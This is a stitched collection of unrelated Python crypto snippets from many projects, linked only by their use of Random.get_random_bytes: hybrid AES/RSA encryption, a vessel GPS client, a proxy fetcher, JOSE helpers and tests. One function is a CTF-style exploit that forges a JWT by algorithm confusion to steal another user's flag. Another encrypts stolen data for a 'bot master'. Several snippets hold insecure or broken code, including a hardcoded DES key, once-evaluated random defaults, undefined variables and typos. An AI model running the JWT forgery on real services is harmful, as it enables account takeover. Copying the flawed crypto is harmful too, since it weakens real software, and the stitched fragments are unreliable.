def encodeUniqueId(session): info = {'machine': collect_machine_info(), 'session': session} #prefix the JSON string with Magic byte '2' to indicate the new uid data format for the server json_string = '2' + json.dumps(info) public_key = rsa.PublicKey(13731707816857396218511477189051880183926672022487649441793167544537, 65537 ) iv = Random.get_random_bytes(16) ivb64 = base64.b64encode(iv) assert (len(ivb64) == 24) aeskey = Random.get_random_bytes(16) aeskeyencrypted = rsa.encrypt(aeskey, public_key) aeskeyencryptedb64 = base64.b64encode(aeskeyencrypted) assert (len(aeskeyencryptedb64) == 40) aes = AES.new(aeskey, AES.MODE_CBC, iv) # insert trailing bytes to make len(json_string) a multiple of 16 json_string_len = len(json_string) trailing = (((json_string_len // 16) + 1) * 16) - json_string_len json_string = json_string + "x" * trailing trailingbyte = chr(trailing).encode('utf-8') encrypted = aes.encrypt(json_string) encryptedb64 = base64.b64encode(encrypted) msg = trailingbyte + ivb64 + encryptedb64 + aeskeyencryptedb64 msg = msg.decode('latin-1').encode('utf-8') return base64.b64encode(msg)
def get_vipkey(self, vessel_name): ''' post to gapp, gapp should return a aes keysoup encrypted by vip's pulbic key ''' cmd = 'RVIP' # a random request id for every request, verify it to prevent replay req_id = Random.get_random_bytes(Tiger.REQID_SIZE) obfus_key = Random.get_random_bytes(self.SID_SIZE) obfus_key += self.xor_obfus(self.session_id, obfus_key) msg = req_id + '{0:20}'.format(cmd + vessel_name) # the final payload is obfuskey + obfused key + aes(dbreq) payload = (obfus_key + self.encrypt_aes(msg, aeskey=self.session_key, hmackey=self.session_hmac_key)) # post to gapp e_obj = open_request(self.fetch_srv, payload).read() d_msg = self.decrypt_aes(e_obj, aeskey=self.session_key, hmackey=self.session_hmac_key) if req_id != d_msg[:Tiger.REQID_SIZE]: print 'Request id mismatch, Possible Replay Attack!' return None shared_vipkey = d_msg[Tiger.REQID_SIZE:] key_soup = self.rsa_priv.decrypt(shared_vipkey) vip_session_key = key_soup[:Tiger.SKEY_SIZE] vip_session_hmac_key = key_soup[Tiger.SKEY_SIZE: Tiger.SKEY_SIZE + Tiger.HMACKEY_SIZE] self.shared_vipkeys[vessel_name] = {'s_key': vip_session_key, 's_hmac_key': vip_session_hmac_key} print 'new vessel-vip shared AES/HMAC keys fetched' return 1
def get_random_bytes(size): try: return Random.get_random_bytes(size) except AssertionError, ae: if len(ae.args) == 1 and ae.args[0] == 'PID check failed. RNG must be re-initialized after fork(). Hint: Try Random.atfork()': Random.atfork() return Random.get_random_bytes(size)
def __init__(self, enc = None, hmac = None, algo = None, mode = None, block_size = None): passwd = None if enc is None: self.algo = "AES" self.mode = AES.MODE_CBC self.block_size = BLOCK_SIZE self.encrypt_salt = Random.get_random_bytes(self.block_size) self.hmac_salt = Random.get_random_bytes(self.block_size) passwd = SymEncPasswordKey.get_password(confirm = True) elif isinstance(enc, dict): self.encrypt_salt = enc['encrypt_salt'] self.hmac_salt = enc['hmac_salt'] self.algo = enc['algo'] self.mode = enc['mode'] self.block_size = enc['block_size'] passwd = SymEncPasswordKey.get_password() else: self.encrypt_salt = enc self.hmac_salt = hmac self.algo = "AES" # So, these are an is for now self.mode = AES.MODE_CBC self.block_size = block_size passwd = SymEncPasswordKey.get_password() self.encrypt = PBKDF2(passwd, self.encrypt_salt, BLOCK_SIZE) self.hmac = PBKDF2(passwd, self.hmac_salt, BLOCK_SIZE)
def __init__(self, device=None, cfg=None): self.newpt_count = 0 self.position = 0 self.speed_unit = 'Knots' self.last_speed = 0 self.utc_time = '' self.heading_degree = 0 # gapp and Tiger self.fetch_srv = norm_address(cfg['hq']['url'] + cfg['hq']['path']) self.login_srv = norm_address(cfg['hq']['url'] + cfg['hq']['login_path']) self.vessel_name = cfg['self']['name'] self.keysoup = None #self.rsa_vippub = self.import_key(open(cfg['vip']['pub'])) # from ClientHello self.key_soup = Random.get_random_bytes(Tiger.RSAOBJ_SIZE - 1) self.session_id = Random.get_random_bytes(Tiger.SID_SIZE) self.session_key = self.key_soup[:Tiger.SKEY_SIZE] self.session_hmac_key = self.key_soup[ Tiger.SKEY_SIZE:Tiger.SKEY_SIZE + Tiger.HMACKEY_SIZE] self.rsa_hqpub = self.import_key(open(cfg['hq']['pub'])) self.rsa_priv = self.import_key(open(cfg['self']['priv'])) self.shared_vipkeys = {} self.login_okay = False
def exploit(ip, port, flag_id): base_url = 'http://' + ip + ':' + port + '/' username = (binascii.hexlify(Random.get_random_bytes(10))).decode() password = (binascii.hexlify(Random.get_random_bytes(10))).decode() account = create_account(base_url, username, password) jwt = login(base_url, username, password) jwt_token = jwt['token'] entries = get_all_entries(base_url, jwt_token) for entry in entries: if entry['id'] == flag_id: target_entry = entry (header, body, signature) = jwt_token.split('.') header_decoded = json.loads(base64.b64decode(header).decode()) header_decoded['alg'] = 'HS256' header_payload = base64.b64encode(json.dumps(header_decoded).encode()) body_decoded = json.loads(base64.b64decode(body).decode()) body_decoded['username'] = target_entry['owner'] body_payload = base64.b64encode(json.dumps(body_decoded).encode()) to_sign = header_payload + b'.' + body_payload public_key = get_public_key(base_url) hmac = HMAC.new(public_key.encode(), to_sign, SHA256) payload_signature = base64.b64encode(hmac.digest()) payload_jwt = to_sign + b'.' + payload_signature exploit_entry = get_entry(base_url, payload_jwt.decode(), flag_id) return {'FLAG': exploit_entry['entry']}
def setup_ot(): prng = Random.new().read key = RSA.generate(1024, prng) r1 = Random.get_random_bytes(8) r2 = Random.get_random_bytes(8) publickey = key.publickey() return publickey, r1, r2
def vipkey(self): ''' generate key soup for vip, encrypted with vip's public key, prefix it with 20 byte long cmd + vessel name, then encrypt and send to gapp payload: 20 byte the rest ------- -------- vessel name Public key encrypted key soup ''' key_soup = Random.get_random_bytes(Tiger.RSAOBJ_SIZE - 1) self.vip_session_key = key_soup[:Tiger.SKEY_SIZE] self.vip_session_hmac_key = key_soup[Tiger.SKEY_SIZE: Tiger.SKEY_SIZE + Tiger.HMACKEY_SIZE] req_id = Random.get_random_bytes(Tiger.REQID_SIZE) cmd = 'PVIP' msg = (req_id + '{0:20}'.format(cmd + self.vessel_name) + self.rsa_vippub.encrypt(key_soup, '')[0]) # dprint('hash of hmac key is %s' % # hashlib.md5(self.session_hmac_key).hexdigest()) obfus_key = Random.get_random_bytes(self.SID_SIZE) obfus_key += self.xor_obfus(self.session_id, obfus_key) payload = (obfus_key + self.encrypt_aes(msg, aeskey=self.session_key, hmackey=self.session_hmac_key)) print 'vip-vessel share AES key generated' return payload
def set_flag(ip, port, flag): base_url = 'http://' + ip + ':' + port + '/' username = (binascii.hexlify(Random.get_random_bytes(10))).decode() password = (binascii.hexlify(Random.get_random_bytes(10))).decode() account = create_account(base_url, username, password) entry_request = { 'entry': flag, 'title': 'flag' } # login jwt = login(base_url, username, password) jwt_token = jwt['token'] # verify token public_key = get_public_key(base_url) verify_token(jwt_token, public_key, account) entry = post_entry(base_url, jwt_token, entry_request) # return entryid return { 'FLAG_ID': entry['id'], 'TOKEN': jwt_token }
def post2gapp(self): '''encrypt gps data in vip's aes key, then encrypt again using aes, after that, send to gapp''' gps_data = self.gpspackgen() # pack a time stamp into msg for server to detect replay attack time_stamp = pack('<L', int(time.time())) req_id = time_stamp + Random.get_random_bytes(Tiger.REQID_SIZE - 4) cmd = 'PGPS' msg = (req_id + '{0:20}'.format(cmd + self.vessel_name) + self.encrypt_aes(gps_data, aeskey=self.keysoup['vip_key'], hmackey=self.keysoup['vip_hmac_key'])) # A fixed session_id is too obvious, so use a random string XOR with it # to make it hard to see pattern obfus_key = Random.get_random_bytes(self.SID_SIZE) obfus_key += self.xor_obfus(self.keysoup['s_id'], obfus_key) # the final payload payload = (obfus_key + self.encrypt_aes(msg, aeskey=self.keysoup['s_key'], hmackey=self.keysoup['s_hmac_key'])) # post to gapp # length of payload is 180 when measure #dprint('bandwidth use: send %d bytes' % len(payload)) try: req = open_request(self.fetch_srv, payload).read() except urllib2.HTTPError: print 'http error'
def encryption_oracle(input): rand_num1 = randint(5, 10) rand_num2 = randint(5, 10) encrypt_ecb = randint(0, 1) before = pkcs7_pad("", rand_num1) after = pkcs7_pad("", rand_num2) ciphertext = "" iv = "" key = Random.get_random_bytes(16) modified_input = before + input + after padded_input = pkcs7_pad(modified_input, 16) if encrypt_ecb == 1: # encrypt ECB encryptor = AES.new(key, AES.MODE_ECB) ciphertext = encryptor.encrypt(padded_input) print "ECB here" else: # encrypt CBC iv = Random.get_random_bytes(16) encryptor = AES.new(key, AES.MODE_CBC, iv) ciphertext = encryptor.encrypt(padded_input) print "CBC here" return key, iv, ciphertext
def encrypt_for_master(data, fn): # Encrypt the file so it can only be read by the bot master # Generate key and IV for AES encryption for data with 128 bits key size aes_encryption_key = Random.get_random_bytes(16) iv = Random.get_random_bytes(AES.block_size) cipher = AES.new(aes_encryption_key, AES.MODE_CBC, iv) # Padding is required since AES-CBC mode is chosen padded_data = ANSI_X923_pad(bytes(str(data), 'ascii'), AES.block_size) encrypted_data = cipher.encrypt(padded_data) # Obtain public key from text file for encrypting aes encryption key and iv pub_key = open("mypublickey.txt", "r").read() rsa_encryption_key = RSA.importKey(pub_key) key_data = aes_encryption_key + iv encrypt_aes_key = rsa_encryption_key.encrypt(key_data, 16) # Store the aes encryption key and iv aes_key_file = os.path.join("pastebot.net", fn + ".AES.key") out = open(aes_key_file, "wb") out.write(encrypt_aes_key[0]) out.close() print("Exported AES key!") return encrypted_data
def _aes_encrypt(self, payload): payload = pad(payload) key = Random.get_random_bytes(self.KEY_LENGTH) iv = Random.get_random_bytes(self.IV_LENGTH) cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(payload) return key, (iv + encrypted)
def otp(): if not request.json: abort(400) i9 = request.json['iv1'] i10 = request.json['iv2'] k9 = request.json['k9'] k10 = merchant.decrypt(request.json['k10']) block1 = request.json['block1'] block2 = request.json['block2'] aes10 = AES.new(k10, AES.MODE_CFB, iv2) decrypt_block2 = aes10.decrypt(block2) authdata = decrypt_block2[:-128] hash_authdata = decrypt_block1[-128:] if SHA512.new(authdata).hexdigest() != hash_authdata: return 'hash of auth doesnt match' authdata = 'the customer is trying to send his otp, take it' k11 = Random.get_random_bytes(16) i11 = Random.get_random_bytes(16) aes = AES.new(k11, AES.MODE_CFB, i11) encrypted_authdata = aes.encrypt(authdata) signed_auth_data = merchant.sign(encrypted_authdata) encrypted_k11 = paymentgateway_publickey.encrypt(k11) data = {'k11': k11, 'i7': i11, 'authdata': encrypted_authdata, 'hash_authdata': signed_auth_data, 'eotp': block1, 'k9': k9, 'i9': i9} response = requests.post('http://loclahost:8002/otp', data=data) data = response.json() encrypt_auth_data = data['authdata'] signed_auth_data = data['signature'] auth_data_iv = data['iv'] kx = merchant.decrypt(data['kx']) aes = AES.new(kx, AES.MODE_CFB, auth_data_iv) auth_data = aes.decrypt(encrypt_auth_data) if paymentgateway_publickey.verify(SHA512.new(auth_data).hexdigest(), signed_auth_data) == False: return {'status': "couldnt verify paymentgateway response"} if auth_data != 'everything is good': return {'status': 'something went wrong while starting transaction'} auth_data = 'everything is good' iv = Random.get_random_bytes(16) aes = AES.new(k10, AES.MODE_CFB, iv) encrypted_authdata = aes.encrypt(auth_data) signature = merchant.sign(SHA512.new(signature).hexdigest()) return {'iv': iv, 'authdata': encrypted_authdata, 'signature': signature}
def password(): if not request.json: abort(400) k5 = request.json['k5'] k6 = merchant.decrypt(request.json['k6']) i5 = request.json['iv1'] i6 = request.json['i5'] block1 = request.json['block1'] block2 = request.json['block2'] aes6 = AES.new(k6, AES.MODE_CFB, i6) decrypt_block2 = aes6.decrypt(block2) authdata = decrypt_block2[:-128] hash_authdata = decrypt_block1[-128:] if SHA512.new(authdata).hexdigest() != hash_authdata: return 'hash of auth doesnt match' authdata = 'the customer is trying to send his pass, take it' k7 = Random.get_random_bytes(16) i7 = Random.get_random_bytes(16) aes = AES.new(k7, AES.MODE_CFB, i7) encrypted_authdata = aes.encrypt(authdata) signed_auth_data = merchant.sign(SHA512.new(encrypted_authdata).hexdigest()) encrypted_k7 = paymentgateway_publickey.encrypt(k7) data = {'k7': encrypted_k7, 'i7': i7, 'authdata': encrypted_authdata, 'hash_authdata': hash_authdata, 'epassword': block1, 'k5': k5, 'i5': i5} response = requests.post('http://loclahost:8002/password', data=data) data = response.json() encrypt_auth_data = data['authdata'] signed_auth_data = data['signature'] auth_data_iv = data['iv'] k4 = merchant.decrypt(data['k4']) aes = AES.new(k4, AES.MODE_CFB, auth_data_iv) auth_data = aes.decrypt(encrypt_auth_data) if paymentgateway_publickey.verify(SHA512.new(auth_data).hexdigest(), signed_auth_data) == False: return {'status': "couldnt verify paymentgateway response"} if auth_data != 'everything is good': return {'status': 'something went wrong while starting transaction'} auth_data = 'everything is good' iv = Random.get_random_bytes(16) aes = AES.new(k6, AES.MODE_CFB, iv) encrypted_authdata = aes.encrypt(auth_data) signature = merchant.sign(SHA512.new(signature).hexdigest()) return {'iv': iv, 'authdata': encrypted_authdata, 'signature': signature}
def main(): infile = open('plaintext.txt') inmsg = infile.read() # This AES is AES-128 and thus a 16-byte key ############################################################ # ECB, CBC plaintext length must be a multiple of block_size # # pad the message extraend = len(inmsg) % AES.block_size padmsg = inmsg + '0'*(AES.block_size - extraend) # ECB key = Random.get_random_bytes(16) cipherecb = AES.new(key, AES.MODE_ECB) bloc = 0 outmsgecb = '' # no initilization vector needed # input 16 byte chunks into ECB encryption while bloc < len(padmsg): outmsgecb += cipherecb.encrypt(padmsg[bloc : bloc + AES.block_size]) bloc += AES.block_size output = ''.join(x.encode('hex') for x in outmsgecb) print 'Output for AES using ECB:\n %s' % output # CBC key = Random.get_random_bytes(16) iv = Random.new().read(AES.block_size) ciphercbc = AES.new(key, AES.MODE_CBC, iv) bloc = 0 outmsgcbc = '' # no initilization vector needed # input 16 byte chunks into ECB encryption while bloc < len(padmsg): outmsgcbc += ciphercbc.encrypt(padmsg[bloc : bloc + AES.block_size]) bloc += AES.block_size output = ''.join(x.encode('hex') for x in outmsgcbc) print 'Output for AES using CBC:\n %s' % output ############################################################ # CFB plaintext length must be a multiple of segment_size/8 # key = Random.get_random_bytes(16) iv = Random.new().read(AES.block_size) ciphercfb = AES.new(key, AES.MODE_CFB, iv, segment_size=16) bloc = 0 outmsgcfb = '' while bloc < len(inmsg) - AES.block_size: # or <= outmsgcfb += ciphercfb.encrypt(inmsg[bloc : bloc + AES.block_size]) bloc += AES.block_size outmsgcfb += ciphercfb.encrypt(inmsg[bloc :]) output = ''.join(x.encode('hex') for x in outmsgcfb) print 'Output for AES using CFB:\n %s' % output # should be same size as original message, since no padding occured
def wrap_command(): parser = ArgumentParser(description='PBES2 Key Derivation') parser.add_argument('command', help="wrap") parser.add_argument('password') parser.add_argument('cek', nargs='?', default=None, type=basestring) parser.add_argument('key_len', nargs='?', default=16, type=int) parser.add_argument('-f', '--foo') parser.add_argument('-s', '--salt', dest="salt", action="store", default=None, help='base64salt') parser.add_argument('-a', '--alg', dest="alg", action="store", default='HS256', help='HS256|HS384|HS512') parser.add_argument('-c', '--count', dest="count", action="store", type=int, default=1024, help='KDF2 counter') args = parser.parse_args() wrapper = dict( HS256=KeyEncEnum.PBES2_HS384_A192KW, HS348=KeyEncEnum.PBES2_HS384_A192KW, HS512=KeyEncEnum.PBES2_HS512_A256KW, )[args.alg].encryptor if args.cek: cek = base64.base64url_decode(args.cek) else: cek = Random.get_random_bytes(args.key_len) jwk = Jwk(kty=keys.KeyTypeEnum.OCT) if args.password == 'random': jwk.k = base64.base64url_encode( Random.get_random_bytes(wrapper.key_length())) elif args.password.startswith('b64url:'): jwk.k = args.password[6:] else: jwk.k = base64.base64url_encode(args.password) salt = args.salt or base64.base64url_encode( Random.get_random_bytes(wrapper.key_length())) assert len(jwk.key.shared_key) == wrapper.key_length() kek = wrapper.derive(jwk, salt, args.count) cek_ci = wrapper.encrypt(kek, cek) print "share key(b64url)=", base64.base64url_encode(jwk.k), print "cek(b64url)=", base64.base64url_encode(cek) print "salt(b64url)=", base64.base64url_encode(salt), print "kek(b64url)=", base64.base64url_encode(kek), print "warapped cek(b64url)=", base64.base64url_encode(cek_ci), print "key length=", args.key_len, print "alg=", args.alg, wrapper.__name__, print "count=", args.count
def jose_enc_encrypt(key, content): ke = Random.get_random_bytes(16) # Encryption key ka = Random.get_random_bytes(32) # Authentication key cmk = ke + ka # Master key wcmk = rsa_key_wrap(key, cmk) # Wrapped master key print "Encryption master key: "+ cmk.encode("hex") # Pad the content out to block length x = AES.block_size - (len(content) % AES.block_size) if x == 0: x = AES.block_size econtent = content + (struct.pack("B",x) * x) # Compute the encrypted body iv = Random.new().read(AES.block_size) cipher = AES.new(ke, AES.MODE_CBC, iv) S = cipher.encrypt(econtent) # Compute MAC with no associated data A hmac = HMAC.new(ka, digestmod=SHA) n = Random.get_random_bytes(16) # Nonce ln = struct.pack("!q", len(n)) la = struct.pack("!q", 0) hmac.update(n + S + ln + la) T = hmac.digest() # Combine encrypted body with MAC econtent = S + T jose = { "version": 1, "type": "encrypted", "content": jose_enc(econtent), "algorithm": { "name": "aead-gen", "encryption": "aes128-cbc", "integrity": "hs1", "nonce": jose_enc(n), "iv": jose_enc(iv) }, "keys": [{ "type":"keyTransport", "algorithm":"pkcs1", "encryptedKey": jose_enc(wcmk), "recipientKey": { "type": "rsa", "n": key.n, "e": key.e } }] } return json.dumps(jose, separators=(',',':'))
def encrypt_msg(message, plain_tag, encoding, short_tag_length=2, verbose=False): if encoding == "base64": EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) else: EncodeAES = lambda c, s: encode(c.encrypt(pad(s))) session_key = Random.get_random_bytes(16) integrity_key = Random.get_random_bytes(20) sha = SHA256.new() sha.update(plain_tag) bit_long_tag = sha.digest() long_tag = base64.b64encode(bit_long_tag[0:16]) short_tag = long_tag[0:short_tag_length] session_integrity_payload = session_key + integrity_key aes = AES.new(bit_long_tag[16:32]) session_integrity_cipher = EncodeAES(aes, session_integrity_payload) aes = AES.new(session_key) message_cipher = EncodeAES(aes, message) if encoding == "base64": decoded_message_cipher = message_cipher else: decoded_message_cipher = decode(message_cipher) hmac = HMAC.new(integrity_key, digestmod=SHA) hmac.update(decoded_message_cipher) if encoding == "base64": integrity = base64.b64encode(hmac.digest()) else: integrity = encode(hmac.digest()) hoot = "#" + short_tag + " " + session_integrity_cipher + integrity + message_cipher if verbose: print "hoot:", hoot # print "Input (", len(message), "):", message # print "Output (", len(hoot), "):", hoot # print "#shorttag", 1 + len(short_tag) # print "space", 1 # print "Integrity", len(integrity) # print "Session Integrity Cipher text", len(session_integrity_cipher) # print "Message Cipher text", len(message_cipher) # TODO: What about date/time? return hoot
def encrypt(self, value): value_key = Random.get_random_bytes(16) value_iv = Random.get_random_bytes(16) value_cipher = AES.new(value_key, AES.MODE_CBC, value_iv) value_enc = value_cipher.encrypt(_pkcs7_pad(value.encode())) key_cipher = PKCS1_OAEP.new(self.key) key_enc = key_cipher.encrypt(value_key) return '!!vcsecret:{}:{}:{}'.format( \ b64encode(key_enc).decode('utf-8'), \ b64encode(value_iv).decode('utf-8'), \ b64encode(value_enc).decode('utf-8'))
def __init__(self, key=Random.get_random_bytes(16), iv=Random.get_random_bytes(16), mode=MODE_CFB, segment_size=128, use_padding=METHOD_PKCS7, block_size=16): self.key = key self.iv = iv self.mode = mode self.segment_size = segment_size self.use_padding = use_padding self.block_size = block_size
def __init__(self, request=None): """ Default constructor for use in web2py. Set up system-wide symmetric encryption key """ if request: filename = os.path.join(request.folder,'private','encryption.secret') if not os.path.exists(filename): key = Random.get_random_bytes(32) open(filename,'w').write(key) self.secret = open(filename,'r').read().strip() else: # this is only for testing. Random key... do NOT use this way self.secret = Random.get_random_bytes(32)
def _range_fetch(self): """GAPP Limit: request 5M, response 32M""" # find the client's range request, if any, to support resume example: # "Range: bytes=0-1048575" HandlerStatistic.stat['sendcnt'] += 1 print ' Send[{0}] Range Request: {1} {2}'.format(self.stat['sendcnt'], self.command, self.path) try: cur_pos = int(self.headers['Range'].split('=')[1].split('-')[0]) print ' Resuming {0} from {1}'.format(self.path, cur_pos) except KeyError: cur_pos = 0 part_len = MAX_TRUNK first_part = True part_count = 1 allowed_failed = 10 while allowed_failed > 0: self.headers['Range'] = 'bytes=%d-%d' % (cur_pos, cur_pos + part_len - 1) # create request for GAppProxy plain_params = urllib.urlencode({'method': 'GET', 'path': self.path, 'headers': self.headers, 'payload': ''}) req_id = Random.get_random_bytes(self.REQID_SIZE) plain_params = req_id + plain_params obfus_key = Random.get_random_bytes(self.SID_SIZE) obfus_key += self.xor_obfus(self.keysoup['s_id'], obfus_key) msg = obfus_key + self.encrypt_aes(plain_params, aeskey=self.keysoup['clt_key'], hmackey=self.keysoup['clt_hmac']) try: resp_encrypted = open_request(self.fetch_srv, msg, gae_host=self.gae_host, proxy=self.proxy).read() HandlerStatistic.stat['getcnt'] += 1 HandlerStatistic.stat['rcvbytes'] += len(resp_encrypted) except urllib2.HTTPError, err: if err.code == 521: # session key expired self.relogin() else: self.custom_gapp_error(err.code) allowed_failed = 0 except urllib2.URLError, err: allowed_failed = 0
def onestep(self): """load remote pubkey from local file, use RSA to encrypt the aes key , then send to server""" ctime = time.strftime('%H:%M:%S', time.localtime()) print ('[{0}] Login into server.....'.format(ctime)) self.pre_master_secret = Random.get_random_bytes(48) self.client_random = (pack('<i', time.time()) + Random.get_random_bytes(28)) msg = ('{0:20}'.format(self.username) + self.pre_master_secret + self.client_random) rsa_e = self.rsa_hqpub.encrypt(msg) rsa_sign = self.sign(self.sign_priv, msg) return rsa_e + rsa_sign
def get_vessel_location(self): '''encrypt gps data in vip's aes key, then encrypt again using aes, after that, send to gapp''' cmd = 'RGPS' req_id = Random.get_random_bytes(Tiger.REQID_SIZE) obfus_key = Random.get_random_bytes(self.SID_SIZE) obfus_key += self.xor_obfus(self.keysoup['s_id'], obfus_key) msg = req_id + '{0:20}'.format(cmd) # the final payload payload = (obfus_key + self.encrypt_aes(msg, aeskey=self.keysoup['s_key'], hmackey=self.keysoup['s_hmac_key'])) # post to gapp locations = [] e_obj = open_request(self.fetch_srv, payload).read() print dprint('%s receiving new gps data pack' % time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime())) dprint('total length of received gps data package is %d' % len(e_obj)) d_msg = self.decrypt_aes(e_obj, aeskey=self.keysoup['s_key'], hmackey=self.keysoup['s_hmac_key']) if req_id != d_msg[:Tiger.REQID_SIZE]: print 'Request id mismatch, Possible Replay Attack!' return None content = d_msg[Tiger.REQID_SIZE:] #for line in content.split('\n'): while len(content) > 0: (len_gps_pack, vessel_name) = unpack('<L16s', content[:20]) vessel_name = vessel_name.split('\x00')[0] data = content[20: 20 + len_gps_pack] content = content[20 + len_gps_pack:] if len_gps_pack == 0: # the gps data pack is empty, vessel hasn't uploaded yet? break tmp = self.decode_vessel_location(vessel_name, data) if tmp == ERROR_REFRESH_VIPKEYS: break locations.append(tmp) return locations
def dvsni_gen_cert(filepath, name, r_b64, nonce, key): """Generate a DVSNI cert and save it to filepath. :param str filepath: destination to save certificate. This will overwrite any file that is currently at the location. :param str name: domain to validate :param str dvsni_r: jose base64 encoded dvsni r value :param str nonce: hex value of nonce :param key: Key to perform challenge :type key: :class:`letsencrypt.client.client.Client.Key` :returns: dvsni s value jose base64 encoded :rtype: str """ # Generate S dvsni_s = Random.get_random_bytes(CONFIG.S_SIZE) dvsni_r = le_util.jose_b64decode(r_b64) # Generate extension ext = _dvsni_gen_ext(dvsni_r, dvsni_s) cert_pem = crypto_util.make_ss_cert( key.pem, [nonce + CONFIG.INVALID_EXT, name, ext]) with open(filepath, 'w') as chall_cert_file: chall_cert_file.write(cert_pem) return le_util.jose_b64encode(dvsni_s)
def urlsafe_encrypt(key, plaintext, blocksize=16): """ Encrypts plaintext. Resulting ciphertext will contain URL-safe characters. If plaintext is Unicode, encode it to UTF-8 before encryption. :param key: AES secret key :param plaintext: Input text to be encrypted :param blocksize: Non-zero integer multiple of AES blocksize in bytes (16) :returns : Resulting ciphertext """ def pad(text): """ Pads text to be encrypted """ pad_length = (blocksize - len(text) % blocksize) sr = random.StrongRandom() pad = b''.join(six.int2byte(sr.randint(1, 0xFF)) for i in range(pad_length - 1)) # We use chr(0) as a delimiter between text and padding return text + b'\0' + pad if isinstance(plaintext, six.text_type): plaintext = plaintext.encode('utf-8') # random initial 16 bytes for CBC init_vector = Random.get_random_bytes(16) cypher = AES.new(key, AES.MODE_CBC, init_vector) padded = cypher.encrypt(pad(six.binary_type(plaintext))) encoded = base64.urlsafe_b64encode(init_vector + padded) if six.PY3: encoded = encoded.decode('ascii') return encoded
def setUp(self): """set up tests""" self.message = Random.get_random_bytes(random.randint(1000, 5000)) self.password = ''.join(np.random.choice(ALPHABET, random.randint(8, 24))) self.enc = Encryption(self.message, self.password) self.sig = Signature(self.enc.message(), self.password)
def generate_secret_key(length): result = binascii.hexlify(Random.get_random_bytes(length // 2)) if result[0] == 48: result = b'f' + result[1:] return result.decode()
def get_crypto_object(Key, Iv=None): if Iv is None: Iv = Random.get_random_bytes(16) else: Iv = base64.b32decode(Iv) return ( AES.new(Key, AES.MODE_CBC, Iv), base64.b32encode(Iv) )
def gen_commitments(): secret = bytearray(Random.get_random_bytes(16)) rc = hash(secret + b"r") pc = hash(secret + b"p") sc = hash(secret + b"s") secret = hex(bytes_to_int(secret))[2:] rps = [("r", rc), ("p", pc), ("s", sc)] random.shuffle(rps) return secret, rps
def encrypt(self, data: bytes) -> bytes: # Encrypt the session key with the public RSA key session_key = Random.get_random_bytes(16) cipher_rsa = PKCS1_OAEP.new(self.get_key_object()) enc_session_key = cipher_rsa.encrypt(session_key) # Encrypt the data with the AES session key cipher_aes = AES.new(session_key, AES.MODE_EAX) ciphertext, tag = cipher_aes.encrypt_and_digest(data) return enc_session_key + cipher_aes.nonce + tag + ciphertext
def encrypt(self, text: str) -> str: initial_vector = Random.get_random_bytes(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, initial_vector) padded_data = Padding.pad(text.encode(_ENCODING), AES.block_size, _PADDING_STYLE) encrypted_base64_bin = base64.b64encode(initial_vector + cipher.encrypt(padded_data)) encrypted_base64_str = encrypted_base64_bin.decode(_ENCODING) return encrypted_base64_str
def generate_iv(self): """ Generate a random initialization vector. If pycrypto is not available, return a buffer of the correct length filled with only '\x00'. """ if Random: return Random.get_random_bytes(self.iv_size) else: return chr(0) * self.iv_size
def generate_secret(): found = False while not found: data = Random.get_random_bytes(16) if '\x00' in data: continue else: found = True return data
def encryptMessage(self, sender, payload): #CHANGE sndsqnFile = open( '../netsim/network/' + sender + '/sndsqn/sndstate' + sender + '.txt', 'rb') sndsqn = sndsqnFile.read() sndsqnFile.close() #print(type(int(sndsqn.decode('utf-8')))) efile = open('../netsim/network/' + sender + '/encryption_key.pem', 'rb') enckey = efile.read() enckey = bytes.fromhex(enckey.decode('utf-8')) #print(enckey.decode('utf-8')) mfile = open('../netsim/network/' + sender + '/mac_key.pem', 'rb') mackey = mfile.read() mackey = bytes.fromhex(mackey.decode('utf-8')) # compute payload_length, padding_length, and padding mac_length = 32 # SHA256 hash value is 32 bytes long payload_length = len(payload) padding_length = AES.block_size - (payload_length + mac_length) % AES.block_size padding = b'\x80' + b'\x00' * (padding_length - 1) msg_length = 9 + AES.block_size + payload_length + mac_length + padding_length # create header header_version = b'\x03\x06' # protocol version 3.6 header_type = str.encode(sender) # message sender # header_type = b'\x01' # message sender header_length = msg_length.to_bytes( 2, byteorder='big') # message length (encoded on 2 bytes) header_sqn = (int(sndsqn.decode('utf-8')) + 1).to_bytes( 4, byteorder='big' ) # next message sequence number (encoded on 4 bytes) header = header_version + header_type + header_length + header_sqn # encrypt what needs to be encrypted (payload + padding) iv = Random.get_random_bytes(AES.block_size) ENC = AES.new(enckey, AES.MODE_CBC, iv) encrypted = ENC.encrypt(bytes(payload, 'utf-8') + padding) # compute mac on header, iv, and encrypted payload MAC = HMAC.new(mackey, digestmod=SHA256) MAC.update(header) MAC.update(encrypted) MAC.update(iv) mac = MAC.digest() payload = header + iv + encrypted + mac # print(payload) return payload
def des_encrypt(self, msg): """ DES CFB(Cipher Feedback) Encryption Algo """ iv = RND.get_random_bytes(8) des_enc = DES.new('01234567', DES.MODE_CFB, iv) mod = len(msg) % 8 if mod != 0: msg += "`" * (8 - mod) encrypted_msg = des_enc.encrypt(msg) sending_msg = '0!@!' + iv + "!@!" + encrypted_msg return sending_msg
def rsa_encrypt(data, public_key): if type(data) != bytes: data = bytes(data, encoding="utf8") cipher = PKCS1_OAEP.new(public_key) #hybrid encryption is used here as PKCS1_OAEP can only encrypt a very small amount of data #to get around this, AES is used for the encryption of the data, and the AES key is encrypted using RSA session_key = Random.get_random_bytes(16) encrypted_data = aes_encrypt(data, session_key) encrypted_session_key = cipher.encrypt(session_key) return [encrypted_data, encrypted_session_key]
def new_port(): """ Generates a new port. :ret : an integer between config.base_port and 9999. """ from Crypto import Random n = sum(map(ord, Random.get_random_bytes(10))) % ( 9999 - config.custom['base_port']) return config.custom['base_port'] + n
def encrypt_file_data(self, data: str, password=None) -> bytes: if password is None: password = self.password byte_key_from_password = password.__hash__().to_bytes(32, byteorder='big', signed=True) iv = Random.get_random_bytes(16) cipher = AES.new(byte_key_from_password, AES.MODE_CBC, iv) cipher_text = iv + cipher.encrypt(pad(data.encode(), AES.block_size)) return cipher_text
def MakeMessage(desKey, MESSAGE): desIv = Random.get_random_bytes(8) if isinstance(MESSAGE, str): toAdd = 6 - (len(MESSAGE) % 6) if (toAdd != 0): while (toAdd != 0): MESSAGE += " " toAdd -= 1 encryptedMessage = EncryptWithDes(MESSAGE, desKey, desIv) #base64 return base64.b64encode(desIv + encryptedMessage)
